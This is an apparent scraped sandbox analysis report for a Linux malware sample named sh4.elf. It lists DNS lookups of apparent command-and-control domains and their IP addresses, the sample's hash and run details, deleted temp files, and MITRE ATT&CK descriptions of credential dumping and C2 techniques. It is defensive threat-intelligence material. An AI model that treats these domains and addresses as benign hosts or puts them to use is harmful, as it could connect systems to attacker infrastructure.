Dec 24, 2024 03:32:47.619024992 CET	185.181.61.24	192.168.2.15	0x14bb	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:32:47.619024992 CET	185.181.61.24	192.168.2.15	0x14bb	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:33:01.642025948 CET	51.158.108.203	192.168.2.15	0x975f	Format error (1)	serisbot.geek. [malformed]	none	none	256	349	false
Dec 24, 2024 03:33:03.141163111 CET	194.36.144.87	192.168.2.15	0xc0a1	Format error (1)	serisbot.geek. [malformed]	none	none	256	351	false
Dec 24, 2024 03:33:15.607290030 CET	81.169.136.222	192.168.2.15	0x1363	Refused (5)	serisontop.dyn	none	none	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:33:27.398472071 CET	194.36.144.87	192.168.2.15	0x7adf	Format error (1)	serisbot.geek. [malformed]	none	none	256	375	false
Dec 24, 2024 03:33:39.877027035 CET	194.36.144.87	192.168.2.15	0xc6b5	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:33:39.877027035 CET	194.36.144.87	192.168.2.15	0xc6b5	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:33:39.877027035 CET	194.36.144.87	192.168.2.15	0xc6b5	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:33:52.360378027 CET	152.53.15.127	192.168.2.15	0xe6cf	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:33:52.360378027 CET	152.53.15.127	192.168.2.15	0xe6cf	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:33:52.360378027 CET	152.53.15.127	192.168.2.15	0xe6cf	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false

Start time (UTC):	02:31:56
Start date (UTC):	24/12/2024
Path:	/tmp/sh4.elf
Arguments:	/tmp/sh4.elf
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	02:31:57
Start date (UTC):	24/12/2024
Path:	/tmp/sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report sh4.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0OAII9 (deleted)

/tmp/qemu-open.15Ey65 (deleted)

/tmp/qemu-open.1TxeD6 (deleted)

/tmp/qemu-open.1uKBl7 (deleted)

/tmp/qemu-open.2DkNN6 (deleted)

/tmp/qemu-open.2S59v7 (deleted)

/tmp/qemu-open.2WYU65 (deleted)

/tmp/qemu-open.2t6fI6 (deleted)

/tmp/qemu-open.3AkPD7 (deleted)

/tmp/qemu-open.3WODs9 (deleted)

/tmp/qemu-open.44wvO7 (deleted)

/tmp/qemu-open.45lO25 (deleted)

/tmp/qemu-open.4odhl6 (deleted)

/tmp/qemu-open.5AZfZ6 (deleted)

/tmp/qemu-open.5ZW5J9 (deleted)

/tmp/qemu-open.5faPs6 (deleted)

/tmp/qemu-open.6QzTO8 (deleted)

/tmp/qemu-open.7MUSP5 (deleted)

/tmp/qemu-open.7V0x57 (deleted)

/tmp/qemu-open.7dbMd9 (deleted)

/tmp/qemu-open.8iQwF8 (deleted)

/tmp/qemu-open.96Sid9 (deleted)

/tmp/qemu-open.AN6Re8 (deleted)

/tmp/qemu-open.Akm5H5 (deleted)

/tmp/qemu-open.Am5Zy8 (deleted)

/tmp/qemu-open.B9lEH5 (deleted)

/tmp/qemu-open.CHErs6 (deleted)

/tmp/qemu-open.CaLNR5 (deleted)

/tmp/qemu-open.D7mSg7 (deleted)

/tmp/qemu-open.E2hwD6 (deleted)

/tmp/qemu-open.ERLkk6 (deleted)

/tmp/qemu-open.GEAMN7 (deleted)

Linux Analysis Report
sh4.elf

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre